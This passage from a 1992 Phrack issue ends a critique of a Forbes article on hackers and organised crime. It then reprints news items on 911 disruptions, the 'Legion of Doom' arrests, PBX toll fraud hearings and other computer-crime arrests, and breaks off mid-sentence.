sufficiently media-hungry and self-serving that he is ostracized by other
German hackers. His major crime reported in the story is hacking into PBXes.
While clearly wrong, his "crime" hardly qualifies him for the "hacker
hood/organized crime" danger that's the focus of the story. Perhaps he is
engaged in other activities unreported by the authors, but it appears he is
simply a run-of-the-mill petty rip-off artist. In fact, the authors do not make
much of his crimes. Instead, they leap to the conclusion that "hackers" do the
same thing and sell the numbers "increasingly" to criminals without a shred of
evidence for the leap. To be sure the reader understands the menace, the
authors also invoke unsubstantiated images of a hacker/Turkish Mafia connection
and suggest that during the Gulf war, one hacker was paid "millions" to invade
a Pentagon computer and retrieve information from a spy satellite (p. 186).
Criminals use computers for crime. Some criminals may purchase numbers from
others. But the story paints a broader picture, and equates all computer crime
with "hacking." The authors' logic seems to be that if a crime is committed
with a computer, it's a hacking crime, and therefore computer crime and
"hackers" are synonymous. The story ignores the fact that most computer crime
is an "inside job" and it says nothing about the problem of security and how
the greatest danger to computer systems is careless users.
One short paragraph near the end mentions the concerns about civil liberties,
and the next paragraph mentions that EFF was formed to address these concerns.
However, nothing in the article articulates the bases for these concerns.
Instead, the piece promotes the "hacker as demon" mystique quite creatively.
The use of terms such as "new hoods on the block," "playground bullies," and
"hacker hoods" suggests that the purpose of the story was to find facts to fit
a slant.
In one sense, the authors might be able to claim that some of their "facts"
were accurate. For example, the "playground bullies" phrase is attributed to
Cheshire Catalyst. "Gee, *we* didn't say it!" But, they don't identify
whether it's the original CC or not. The phrase sounds like a term used in
recent internecine "hacker group" bickering, and if this was the context, it
hardly describes any new "hacker culture." Even so, the use of the phrase
would be akin to a critic of the Forbes article referring to it as the product
of "media whores who are now getting paid for doing what they used to do for
free," and then applying the term "whores" to the authors because, hey, I
didn't make up the term, somebody else did, and I'm just reporting (and using
it as my central metaphor) just the way it was told to me. However, I suspect
that neither Forbes' author would take kindly to being called a whore because
of the perception that they prostituted journalistic integrity for the pay-off
of a sexy story. And this is what's wrong with the article: The authors take
rumors and catch-phrases, "merely report" the phrases, but then construct
premises around the phrases *as if* they were true with little (if any)
evidence. They take an unconfirmed "truth" (where are fact checkers when you
need them) or an unrelated "fact" (such as an example of insider fraud) and
generalize from a discrete fact to a larger population. The article is an
excellent bit of creative writing.
Why Does It All Matter?
Computer crime is serious, costly, and must not be tolerated. Rip-off is no
joke. But, it helps to understand a problem before it can be solved, and lack
of understanding can lead to policies and laws that are not only ineffective,
but also a threat to civil liberties. The public should be accurately informed
of the dangers of computer crime and how it can be prevented. However, little
will be served by creating demons and falsely attributing to them the sins of
others. It is bad enough that the meaning" of the term "hacker" has been used
to apply both to both computer delinquents and creative explorers without also
having the label extended to include all other forms of computer criminals as
well.
CPSR, the EFF, CuD, and many, many others have worked, with some success, to
educate the media about both dangers of computer crime and the dangers of
inaccurately reporting it and attributing it to "hackers." Some, perhaps most,
reporters take their work seriously, let the facts speak to them, and at least
make a good-faith effort not to fit their "facts" into a narrative that--by one
authors' indication at least -- seems to have been predetermined.
Contrary to billing, there was no evidence in the story, other than
questionable rumor, of "hacker" connection to organized crime. Yet, this type
of article has been used by legislators and some law enforcement agents to
justify a "crackdown" on conventional hackers as if they were the ultimate
menace to society. Forbes, with a paid circulation of over 735,000 (compared
to CuDs unpaid circulation of only 40,000), reaches a significant and
influential population. Hysterical stories create hysterical images, and these
create hysteria-based laws that threaten the rights of law-abiding users. When
a problem is defined by irresponsibly produced images and then fed to the
public, it becomes more difficult to overcome policies and laws that restrict
rights in cyberspace.
The issue is not whether "hackers" are or are not portrayed favorably. Rather,
the issue is whether images reinforce a witch-hunt mentality that leads to the
excesses of Operation Sun Devil, the Steve Jackson Games fiasco, or excessive
sentences for those who are either law-abiding or are set up as scapegoats.
The danger of the Forbes article is that it contributes to the persecution of
those who are stigmatized not so much for their acts, but rather for the signs
they bear.
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 13 of 13
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Issue 41 / Part 3 of 3 PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Boy, 15, Arrested After 911 Paralyzed By Computer Hacker October 7, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Caroline Mallan (The Toronto Star)(Page A22)
A 15-year-old boy has been arrested after a hacker pulling computer pranks
paralyzed Metro's emergency 911 service.
Police with Metro's major crime unit investigated the origin of countless calls
placed to the 911 service from mid-July through last month.
The calls were routed to emergency services in the Etobicoke area, said
Detective Willie Johnston, who led the investigation.
Phony medical emergency calls were reported and police, fire and ambulance
crews were dispatched on false alarms. On one occasion, the computer hacker
managed to tie up the entire 911 service in Metro -- making it unavailable for
true emergencies.
Police were not sure last night how long the system was shut down for but
Johnston said the period was considerable.
Staff Sergeant Mike Sale warned hackers that phony calls can be traced.
"A criminal abuse of the 911 emergency system will result in a criminal
investigation and will result in an arrest," Sale said, adding police had only
been investigating this hacker for a few weeks before they came up with a
suspect.
Bell Canada investigators helped police to trace the origin of the calls and
officers yesterday arrested a teen while he was in his Grade 11 class at a
North York high school.
Two computers were seized from the boy's home and will be sent to Ottawa to be
analyzed.
Johnston said police are concerned that other hackers may also be able to halt
the 911 service, since the computer technology used was fairly basic, although
the process of rerouting the calls from a home to the Etobicoke emergency lines
was very complex.
The calls went via computer modem through two separate phone systems in major
U.S. cities before being sent back to Canada, Johnston explained.
The suspect, who cannot be named under the Young Offenders Act, is charged with
theft of telecommunications, 24 counts of mischief and 10 counts of conveying
false messages.
He was released from custody and will appear in North York youth court November
6, police said.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Police Say They've Got Hackers' Number October 8, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by John Deverell (The Toronto Star)(Page A8)
Hackers, take note. Metro police and Ma Bell are going to get you.
A young North York computer freak accused of launching 10 false medical alerts
to 911 this summer may have learned -- the hard way -- that his telephone
tricks weren't beating the pros.
Police arrived with a search warrant at the home of the 15-year-old, arrested
him and carted away his computer.
He's charged with 10 counts of conveying false messages, 24 counts of mischief,
and theft of telecommunications.
Inspector Bill Holdridge, of 911 emergency services, said the false alarms in
July and August never posed any technical problem to his switchboard but
resulted in wild goose chases for the police, fire and ambulance services.
"Those resources weren't available for real alarms, which could have been a
serious problem," Holdridge said.
The 911 service, quartered at 590 Jarvis Street, gets about 7,000 calls a day,
of which 30% warrant some kind of emergency response.
Normally, a computerized tracing system takes only seconds to provide the
address and number of the telephone from which a call originates -- unless the
point of origin has been somehow disguised.
Apparently the 911 prankster got into the telephone system illegally and routed
his calls through several U.S. networks before bringing them back to Toronto.
Detective Willie Johnston said the boy's parents were stunned when police
arrived. "They really didn't have a clue what was going on," said Johnston.
The false emergencies reported were nowhere near the accused boy's home.
"Without condoning it, you could understand it if he were sitting around the
corner watching the flashing lights," said Johnston. "But they were miles
away. It defies logic."
Neither Johnston nor Holdridge would explain how they and Bell security finally
traced the false alarms. "That might just make other hackers try to figure out
another way," Holdridge said.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Hackers Targeted 911 Systems, Police Say October 10, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from United Press International
Authorities expect to make more arrests after penetrating a loose network of
computer hackers called the "Legion of Doom" they say tapped into corporate
phone lines to call 911 systems nationwide with the intent of disrupting
emergency services.
Prosecutors from Virginia, New Jersey and Maryland -- in conjunction with
investigators from two telephone companies -- traced some of the hackers and
closed in on three homes in two states.
A 23-year-old Newark, New Jersey man was arrested early on October 9th. He
faces several charges, including fraud. Other arrests are expected in two
Maryland locations.
The suspect, known by several aliases and identified by authorities only as
Maverick, told investigators the group's intent was "to attempt to penetrate
the 911 computer systems and infect them with viruses to cause havoc," said
Captain James Bourque of the Chesterfield County police in Virginia.
The probe is just beginning, according to Bourque. "Quite honestly, I think
it's only the tip of the iceberg," he said.
The hackers first penetrate the phone lines of large companies or pay phones,
then use those connections to call 911 lines, Bourque said. The hackers
usually make conference calls to other 911 services in other cities, tying up
communications in several locations simultaneously.
"One time we were linked up with Toronto and Los Angeles jurisdictions,"
Bourque said. "And none of us could disconnect."
Sometimes as many five hackers would be on the line and would make false calls
for help. Communications officers, unable to stop the calls, would have to
listen, then try to persuade the officers in other locales "that the call
wasn't real," Bourque said.
"Obviously, there's a real potential for disastrous consequences," he said.
One phone bill charged to a company in Minnesota indicated the scope of the
problem. The company discovered in a 30-day period that it had been charged
with more than $100,000 in phone calls generated by the hackers, according to
Bourque.
"I'm sure there are a multitude of other jurisdictions across the country
having the same problems," Bourque said.
People identifying themselves as members of the "Legion of Doom" -- which also
is the name of a pro wresting team -- have called a Richmond, Virginia
television station and ABC in New York in an attempt to get publicity, Bourque
said.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
More On 911 "Legion Of Doom" Hacking Case October 20, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Barbara E. McMullen & John F. McMullen (Newsbytes)
NEW YORK CITY -- In a discussion with Newsbytes, Sgt. Kurt Leonard of the
Chesterfield County, Virginia Police Department has disclosed further
information concerning the on-going investigation of alleged 911 disruption
throughout the eastern seaboard of the United States by individuals purporting
to be members of the hacker group "The Legion of Doom" (LOD).
Leonard identified the individual arrested in Newark, New Jersey, previously
referred to only as "Maverick," as Scott Maverick, 23. Maverick has been
charged with terroristic threats, obstruction of a government function, and
illegal access to a computer. He is presently out on bail.
Leonard said that David Pluchino, 22, was charged to the same counts as
Maverick and an additional count of the possession of burglary tools. Leonard
said that Pluchino, the subject of a 1990 Secret Service "search and seizure"
action under the still on-going "Operation SunDevil" investigation," possessed
information linking him with members of the Legion of Doom.
The Legion of Doom connection has become the subject of controversy within the
online community. Although Maverick has been quoted as saying that he is a
member of the group and that the group's intent was "to attempt to penetrate
the 911 computer systems and inflect them with viruses to cause havoc," members
of the group have disavowed any connection with those arrested.
"Lex Luthor," one of the original members of the group, told Newsbytes when the
initial report of the arrests became public: "As far as I am concerned the LOD
has been dead for a couple of years, never to be revived. Maverick was never
in LOD. There have been 2 lists of members (one in Phrack and another in the
LOD tj) and those lists are the final word on membership."
He added, "We obviously cannot prevent copy-cats from saying they are in LOD.
When there was an LOD, our goals were to explore and leave systems as we found
them. The goals were to expose security flaws so they could be fixed before
REAL criminals and vandals such as this Maverick character could do damage. If
this Maverick character did indeed disrupt E911 service he should be not only
be charged with computer trespassing but also attempted murder. 911 is serious
business."
Lex Luthor's comments, made before the names of the arrested were released,
were echoed by Chris Goggans, aka "Erik Bloodaxe," and Mark Abene, aka "Phiber
Optik," both ex-LOD members, and by Craig Neidorf who chronicled the membership
of LOD in his electronic publication "Phrack."
When the names of the arrested became public, Newsbytes again contacted Lex
Luthor to see if the names were familiar. Luthor replied: "Can't add anything,
I never heard of them."
Phiber Optik, a New York resident, told Newsbytes that he remembered Pluchino
as a person that ran a computer "chat" system called "Interchat" based in New
Jersey. "They never were LOD members and Pluchino was not known as a computer
hacker. It sounds as though they were LOD wanabees who are now, by going to
jail, going to get the attention they desire," he said.
A law enforcement official, familiar with the SunDevil investigation of
Pluchino, agreed with Phiber, saying, "There was no indication of any
connection with the Legion of Doom." The official, speaking under the
condition of anonymity, also told Newsbytes that the SunDevil investigation of
Pluchino is still proceeding and, as such, no comment can be made.
Leonard also told Newsbytes that the investigation has been a joint effort of
New Jersey, Maryland, and Virginia police departments and said that, in
conjunction with the October 9th 2:00 AM arrests of Pluchino and Maverick, a
simultaneous "search and seizure" operation was carried out at the Hanover,
Maryland home of Zohar Shif, aka "Zeke," a 23 year-old who had also been the
subject of a SunDevil search and seizure.
Leonard also said that, in addition to computers taken from Pluchino, material
was found "establishing a link to the Legion of Doom." Told of the comments by
LOD members that the group did not exist anymore, Leonard said "While the
original members may have gone on to other things, these people say they are
the LOD and some of them have direct connection to LOD members and have LOD
materials."
Asked by Newsbytes to comment on Leonard's comments, Phiber Optik said "The
material he's referring to is probably text files that have been floating
around BBS's for years, Just because someone has downloaded the files certainly
doesn't mean that they are or ever were connected with LOD."
_______________________________________________________________________________
Complaints On Toll Fraud Aired at FCC En Banc Hearing October 13, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Art Brodsky (Communications Daily)(Page 1)
Customers of PBX manufacturers told the Federal Communications Commission (FCC)
they shouldn't be liable for toll fraud losses incurred because vendors never
told them of capabilities of their equipment that left companies open to
electronic theft. Their case was buttressed by one of country's leading toll-
fraud investigators, who told day-long en banc hearing that customers shouldn't
have to pay if they're victimized. Donald Delaney of the New York State Police
said toll fraud "is the only crime I know where the victims are held liable."
Toll fraud losses have been estimated to run into billions of dollars.
Commission's look at toll fraud came in context of what FCC can do to prevent
or lessen problem. Comr. Marshall said Commission's job would be to apportion
liability between vendors and customers. Comr. Duggan, who has been leader on
issue at Commission, said toll fraud was "hidden degenerative disease on the
body of business." He focused on insurance solution to problem, along with
sharing of liability. There are cases pending at FCC filed by AT&T customers
that deal with sharing of liability, and whether common carriers are protected
by tariffs from paying customers for losses. Witnesses told Commission it was
hard to find any law enforcement agency interested in problem, from local
police to FBI, in addition to difficulties with vendors. U.S. Secret Service
has statutory responsibility over toll fraud, said attorney William Cook, who
testified in afternoon session. There was general agreement that more customer
education was needed to prevent fraud, policy endorsed by Northern Telecom,
which has active customer education program.
AT&T came in for particular criticism in morning session as users said company
was insensitive to toll fraud problems. Thomas Mara, executive vice-president
Leucadia National Corp., whose company suffered $300,000 in toll fraud, said he
"had a hell of a time getting anybody at AT&T to pay attention" to problems his
company was encountering. Mara said his company saw level of 800 calls rise to
10,448 from 100. He said AT&T was supposed to notify users if there was any
"dramatic increase in volume, yet we were not notified of a thousandfold
increase in 800 number usage nor were we informed of an increase from a few
hours a month in international calls to thousands of hours by AT&T, only after
receiving our bills." Investigation found that 800 number connecting Rolm
switch to company's voice mail was hackers' entry method, Mara said.
Clearly angry with AT&T, Mara said he has "a feeling they use it as a profit
center." Lawrence Gessini, telecommunications director for Agway Corp. of
Syracuse, agreed, saying: "Toll fraud should not become a rationale for higher
profits for carriers." He told FCC that new programs introduced by long
distance carriers won't solve problem because of constraints, limitations and
expense.
Speaking for International Communications Association (ICA) user group, Gessini
said problems occur because new technologies allow more types of fraud and
because "old tariff concepts" that limit common carrier liability "distort
market incentives." Vendors, he said, are "generally lackadaisical and are
slow to correct even known problems in their hardware, firmware and software,"
and give low priority to complaints. ICA advocated 5 principles including FCC
inquiry into fraud, creation of advisory committee and willingness of
Commission to protect users.
Geoffrey Williams, industry consultant and telecommunications manager for
IOMEGA Corp., said AT&T has been "most notable" for asking for restitution,
while Sprint and MCI are more lenient. MCI doesn't charge users for first
hacking incident, he said, but after that users are on their own.
AT&T defended itself in afternoon session, when International Collections Dist.
Manager Peter Coulter rejected users' accusations, saying company had increased
customer education program "dramatically" since last year. He insisted that
AT&T is "very concerned" by toll fraud: "Contrary to what some people want to
believe, no long distance carrier is making a profit off toll fraud." He said
AT&T had 6,000 customers attend equipment security seminars in 1991, but that
number had been exceeded in first 6 months of 1992. He said results of
increased education program were "only preliminary" but his group was receiving
"a lot more accommodations" than complaints from customers.
Coulter, while never admitting that company should shoulder any financial
liability, admitted that "things are different now" as to how AT&T approaches
toll fraud problem. He said that within AT&T it used to be hardware division
vs. service division. "The hardware guys said it was a service problem, the
service guys said it was the hardware's fault," Coulter said. But now both
divisions are "working together on the problem . . . we're talking to each
other."
Delaney of N.Y. state police gave the FCC a picture of the toll fraud situation
dominated by as few as 15 practitioners, most of whom gain illegal entry to
telephone systems simply by dialing numbers for hours on end. Those so-called
"finger hackers," rather than computer hackers, are responsible for 90% of
fraud, he said, telling Commission that equipment vendors should be held
accountable for fraud. Most fraudulent calls go to Pakistan, Colombia and
Dominican Republic, he said.
Delaney pointed out practical objection to further vendor education problem,
telling commissioners that for vendor to engage in education would also be to
admit there could be problem with equipment security, something sales people
don't want to do. He said some customers had been sold systems and didn't know
they had capability for remote access -- means used by hackers to gain entry.
_______________________________________________________________________________
Hanging Up On Hackers October 12, 1992
~~~~~~~~~~~~~~~~~~~~~
by Miriam Leuchter (Crain's New York Business)(Page 21)
"Thieves tap phone systems, but business cuts the line."
Ron Hanley suspected a technical glitch when his company's telephone bill
listed an unusually large number of calls lasting four seconds to its 800-
number from New York City. But the executive at Dataproducts New England in
Wallingford, Connecticut didn't lose sleep over the problem -- until he got a
call two months later from the security department at American Telephone &
Telegraph Co.
Dataproducts had been hacked. Two days after that, Mr. Hanley got a bill
confirming the bad news: In one 24-hour period, street-corner phone users in
New York had made some 2,000 calls to the Caribbean on the company's line,
ringing up about $50,000 in tolls.
Dataproducts is not alone. Estimates of the cost of telecommunications fraud
in the United States each year run from $1 billion to as much as $9 billion.
According to John J. Haugh, editor of Toll Fraud and Telabuse and chairman of a
Portland, Oregon consulting firm, losses reached $4 billion in 1991 and are
expected to climb 30% in 1992.
Some 35,000 businesses and other users -- such as foundations and government
agencies -- will be hit this year. In the first six months, Mr. Haugh says,
more than 900 New York City companies were victims of telephone-related fraud.
"If you have a PBX system or calling cards or voice mail, you are vulnerable,
exceedingly vulnerable," says Peggy Snyder, executive director of the
Communications Fraud Control Association, a national information clearinghouse
based in Washington. "As technology gets more user-friendly, the opportunity
to commit a crime is much greater."
Armed with computers, modems and sometimes automatic dialers or random-number
generating software, high-technology thieves can use your telephone system as
if it is their own -- without having to pay the tolls. The series of very
short calls Mr. Hanley spotted on one phone bill should have tipped off his
800-number service provider -- which he had alerted when he spotted the pattern
-- that hackers were trying to break into his system.
Who are these hackers -- a term used to describe someone who uses a telephone
or computer to obtain unauthorized access to other computers? Many are
teenagers or young adults out to demonstrate their computer skills and make
some mischief. Five young New Yorkers are awaiting trial in federal court on
unauthorized access and interception of electronic communications charges in
one widely publicized telephone fraud case.
A much smaller proportion are more serious criminals: drug dealers, money
launderers and the like, who don't want their calls traced. In one case, Ms.
Snyder cites a prostitution ring that employed unused voice mail extensions at
one company to leave and receive messages from clients.
Many hackers have connections to call-sell operators who set up shop at phone
booths, primarily in poorer immigrant neighborhoods in cities from New York to
Los Angeles. For a flat fee -- the going rate is $10, according to one source
-- callers can phone anywhere in the world and talk as long as they want. The
hawker at the phone booth pockets the cash and someone else pays the bill.
Perhaps 15 to 20 so-called finger hackers (who crack authorization codes by
hand dialing) distribute information to call-sell operators at thousands of
locations in New York. According to Don Delaney, a senior investigator for the
New York State Police, the bulk of such calls from phone booths in the city go
to the Dominican Republic, Pakistan and Colombia.
Hackers may use more than technical skill to gain the access they want.
Sometimes they practice "social engineering" -- talking a company's employees
into divulging information about the telephone system. Or they manage a
credible imitation of an employee, pretending to be an employee.
In one of the latest schemes, a fraudulent caller gets into a company's system
and asks the switchboard operator to connect him with an outside operator. The
switchboard assumes the caller is an employee who wants to make a personal call
on his own calling card.
Instead, he uses a stolen or hacked calling card number. The fraud goes
undetected until the card's owner reports the unauthorized use to his long-
distance carrier. If the cardholder refuses to pay the charges, the phone
company traces the calls to the business from which they were placed. Because
it looks as if the call came from the company, it is often held liable for the
charge.
In another new twist, a hacker gains access to an unused voice mail extension
at a company, or takes over someone's line at night or while the regular user
is on vacation. He changes the recorded announcement to say, "Operator, this
number will accept all collect and third-party calls." Then the hacker -- or
anyone else -- can telephone anywhere in the world and bill the charges to that
extension.
Sometimes the fraud is much more organized and sophisticated, however. Robert
Rasor, special agent in charge of the financial crime division of the U.S.
Secret Service, gives an example of a three-way calling scheme in which hackers
tap into a phone system in the United States and set up a separate network that
allows people in other countries to call each other directly. "The
Palestinians are one of the more prominent groups" running these sorts of
fraud, he says.
But no matter who the end user is, businesses like Dataproducts end up footing
the bill. Personal users are generally not held liable for the unauthorized
use of their calling card numbers. Under current regulation, a business is
responsible for all calls that go through its equipment, whether or not those
calls originated at the company.
This hard fact rankles Mr. Hanley. "It's totally frustrating and almost
unbelievable that you're responsible for this bill. It's really frightening
for any company."
Dataproducts's liability was relatively small compared with the $168,000
average Mr. Haugh calculated in a study he made last year. It could have been
worse yet.
"The largest case I've ever seen in the metropolitan region was a company that
lost almost $1 million within 30 days," says Alan Brill, managing director of
the New York corporate security firm Kroll Associates Inc.
"It was a double whammy, because even though their long-distance carrier saw a
suspicious pattern of calls and blocked access to those area codes, the company
didn't know its PBX system would automatically switch to another carrier if
calls couldn't go through," Mr. Brill says. "So the company got a bill for
$300,000 from its primary carrier and a $600,000 bill from the secondary
carrier."
Both AT&T and Sprint Corp. offer service plans that limit liability to $25,000
per fraud episode for their business customers. Mr. Brill advises companies to
evaluate the cost-effectiveness of these plans in great detail, because in
order to be eligible for coverage companies must take certain steps to minimize
their risk. "If you reduce your risk significantly, you may not need the
coverage," he says.
The plans require customers to respond to a problem in as little as two hours
after notification of unauthorized calls. Doing so will stem your losses in
any event. "You also have to think about how you're staffed," adds Mr. Brill.
"Can you act that fast?"
_______________________________________________________________________________
PWN Quicknotes
~~~~~~~~~~~~~~
1. HACKER PARTY BUSTED (by Robert Burg, Gannett, 11/3/92) -- "PumpCon Popped!"
-- WHITE PLAINS, New York -- Police say a Halloween party they broke up
Sunday (11/1/92) was more than just a rowdy party - it also was a computer
hacker party.
Three men were charged with unauthorized use of a computer and attempting
computer trespass. A fourth man was arrested on an outstanding warrant
involving violating probation on a charge of computer fraud in Arizona,
Greenburgh Detective Lt. Cornelius Sullivan said.
Security officers at the Westchester Marriott contacted police after
noticing an unusual number of people entering and leaving one room. Police
said that when they arrived, there were 21 people inside and computers
hooked up to telephone lines. Police said they also found telephone credit
cards that did not belong to any of the people present.
The three charged with unauthorized use of a computer and attempted
computer trespass were Randy Sigman, 40, of Newington, Connecticut; Ronald
G. Pinz, 21, of Wallingford, Connecticut and Byron Woodard, 18, of
Woonsocket, Rhode Island.
They were being held at the Westchester County Jail in Valhalla pending
arraignment.
The man charged on the warrant, Jason Brittain, 22, of Tucson, Arizona, was
being held without bail pending arraignment.
The Westchester County District Attorney frauds division seized the
computer hardware, software, and other electrical equipment.
Sullivan said the party-goers heard about the party through computer
bulletin boards.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
2. COMPUTER ACCESS ARRESTS IN NEW YORK (Barbara E. McMullen & John F.
McMullen, Newsbytes, 11/3/92) -- GREENBURGH, NEW YORK -- The Greenburgh,
New York Police Department has announced the arrest of three individuals,
Randy P. Sigman, 40; Ronald G. Pinz, Jr, 21; and Byron J. Woodard, 18 for
the alleged crimes of Unauthorized Use Of A Computer and Attempted Computer
Trespass, both misdemeanors. Also arrested was Jason A. Brittain, 22 in
satisfaction of a State of Arizona Fugitive From Justice warrant.
The arrests took place in the midst of an "OctoberCon" or "PumpCon" party
billed as a "hacker get-together" at the Marriott Courtyard Hotel in
Greenburgh. The arrests were made at approximately 4:00 AM on Sunday
morning, November 1st. The three defendants arrested for computer crimes
were granted $1,000 bail and will be arraigned on Friday, November 6th.
Newsbytes sources said that the get together, which had attracted up to
sixty people, had dwindled to approximately twenty-five when, at 10:00
Saturday night, the police, in response to noise complaints arrived and
allegedly found computers in use accessing systems over telephone lines.
The police held the twenty-five for questioning and called in Westchester
County Assistant District Attorney Kenneth Citarella, a prosecutor versed
in computer crime, for assistance. During the questioning period, the
information on Brittain as a fugitive from Arizona was obtained and at 4:00
the three alleged criminal trespassers and Brittain were charged.
Both Lt. DeCarlo of the Greenburgh police and Citarella told Newsbytes
that the investigation is continuing and that no further information is
available at this time.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
3. U.S. PRISON SENTENCE FOR COMPUTER HACKER (New York Law Journal, 10/15/92,
Page 7) -- A Brooklyn man was sentenced yesterday to eight months in prison
for buying passwords from a computer hacker group known as the "masters of
deception" [MOD] for resale to others seeking access to confidential credit
reports.
Morton Rosenfeld, 21, received the sentence in federal court in Manhattan
after pleading guilty in June to obtaining the unauthorized access devices
to computer data bases operated by TRW Information Services and other
credit reporting companies.
The sentence, imposed by Southern District Judge Shirley Wohl Kram, is
believed to be among few prison terms levied for computer-related offenses.
Meanwhile, charges are pending against Mr. Rosenfeld's alleged source: the
five members of the masters of deception, young men in their teens and
20's. The five were accused in July of breaking into computer systems run
by credit reporting services, telephone companies and educational
institutions.
For more information about the indictment and case against MOD, see ALL the
articles in PWN 40-2.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
4. 2ND ONLINE LEGAL GUIDE RELEASED (by Barbara E. McMullen & John F. McMullen,
Newsbytes, 10/13/92) -- NEW YORK CITY -- PC Information Group has announced
the release of SysLaw, Second Edition: The Legal Guide for Online Service
Providers by attorneys Lance Rose and Jonathan Wallace.
According to the company, "Syslaw provides BBS sysops, network moderators
and other online service providers with basic information on their rights
and responsibilities, in a form that non-lawyers can easily understand."
Subjects covered by the book include the First Amendment, copyrights and
trademarks, the user agreement, negligence, privacy, criminal law, searches
and seizures, viruses and adult materials. The company claims that SysLaw
not only explains the laws, but that it gives detailed advice enabling
system operators to create the desired balance of user services, freedom,
and protection from risk on their systems."
Co-author Lance Rose told Newsbytes: "In the four years since the
publication of the first edition, the electronic community has become
alerted to the first amendment dimensions of the on-line community."
"The first amendment has profound implications to the on-line community
both to liberate providers and users of on-line systems and to protect them
from undue legal harassment. There has, in the last few years, been a lot
of law enforcement activity effecting bulletin board systems, including the
Steve Jackson and Craig Neidorf/Phrack cases," he said.
Rose continued, "The new edition incorporates these new developments as
well as containing new information concerning on-line property rights, user
agreements, sysop liabilities, viruses and adult material contained on
online systems."
SysLaw is available from PC Information Group, 1126 East Broadway, Winona,
MN 55987 (800-321-8285 or 507-452-2824) at a price of $34.95 plus $3.00
shipping and (if applicable) sales tax.
Press Contact: Brian Blackledge, PC Information Group, 800-321-8285
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
5. YET ANOTHER BOOK ABOUT THE COMPUTER UNDERGROUND (The Daily Telegraph,
12/14/92, Page 25) -- Approaching Zero: Data Crime and the Computer
Underworld by Bryan Clough and Paul Mungo (Faber & Faber, L14.99) -- A look
at the world of Fry Guy, Control C, Captain Zap and other hackers to blame
for the viruses, logic bombs and Trojan horses in the world's personal
computer networks.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
6. HONOR STUDENT NABBED IN COMPUTER FRAUD (The Washington Times, 11/9/92, Page
A6) -- BROOKSVILLE, FLA.-- Three high school honor students have been
accused of stealing tens of thousands of dollars worth of long-distance
calls as computer hackers.
Brian McGrogan, 16, and Edmund Padgett, 17, who were charged as adults, and
a 15-year-old allegedly tapped private telephone systems and dialed into an
international hacking network. One company's loss was $36,000.
"These are very sharp, intelligent kids," Hernando County sheriff's Captain
Richard Nugent said after the arrests. "It's a game to them. It's a
sport."
Some calls were made to computer bulletin boards in the United Kingdom,
Germany and Canada, where a loose network of hackers allegedly shared
information about how to obtain computer data and access information.
Arrests in the case also were made in New York and Virginia, Captain Nugent
said.
The two older boys were booked on charges of organized fraud and violation
of intellectual property. The third boy was released to his parents.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
7. A CORDLESS PHONE THAT CAN THWART EAVESDROPPERS (Business Week, 8/3/92) --
To industrial spies and other snoops, the millions of cordless phones in
use are goldmines of information. Conversations can be plucked out of the
air by means of a police type scanner, and with increasing ease. The
latest no-cord technologies offers clearer sound and longer ranges -- up to
half a mile. That's because the new phones broadcast signals at 900 MHz,
or 20 times the frequency of current models.
Cincinnati Microwave, Inc. (the radar detector people) figures executives
and consumers will pay a small premium for cordless privacy. The company
has developed a phone, to be marketed in October by its Escort division for
about $300, that thwarts eavesdroppers with "spread spectrum" technology,
which is similar to the encryption method that the military uses in secure
radios. The signals between the handset and base unit are digitized,
making them unintelligible to humans, and the transmission randomly hops
among various frequencies within the 900 MHz spectrum. To keep the cost
down to the range of other 900 MHz models, Cincinnati Microwave has
developed special microchips that keep the handset and base in sync.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
8. NEW AREA CODE -- As of November 1, 1992, a new 210 area code is serving 152
communities in the San Antonio and Rio Grande Valley areas.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
9. FOR SALE: PHONE-PHREAKING TOOLS (Brigid McMenamin, Forbes, 8/3/92, Page 64)
-- From his remote outpost in Alamogordo, New Mexico, John Williams makes a
nice living telling hackers how to rip off phone and computer systems.
Williams says he brings in about $200,000 a year publishing books on
everything from credit card scams and cracking automated teller machines to
electronic shoplifting, cellular phone phreaking and voice mailbox hacking,
each costing $29 to $39, and each complete with precise instructions. He
even sells Robofones, which save hackers from doing a lot of dialing while
they steal access codes.
Isn't what he does illegal? Perhaps it should be, but it isn't. Wrapping
himself in the First Amendment, Williams is a member in good standing of
the Alamogordo Chamber of Commerce and the New Mexico Better Business
Bureau. He thumbs his nose at companies and authorities that would like to
make him stop selling such secrets. "We don't promote fraud," he insists.
"It's all sold for educational purposes only. If we didn't publish the
information, it would still be out there."
But last year Williams got a visit form the Secret Service, which was
following up on a telephone fraud case in which one of his publications
figured prominently.
In Gainsville, Florida, in November 1990, two young men were locked up by
police for hacking into voice-mail systems and then making calls to 900
numbers. One of the pair, known as the Shark, then 20, confessed to the
crime, but said he was on assignment for Williams' Consumertronics
publication. The culprits could have been given five years on the fraud
charge alone. But the victim didn't want any publicity, so the state let
them do 50 hours of community service instead.
The Secret Service went to talk to Williams. Williams assured agent James
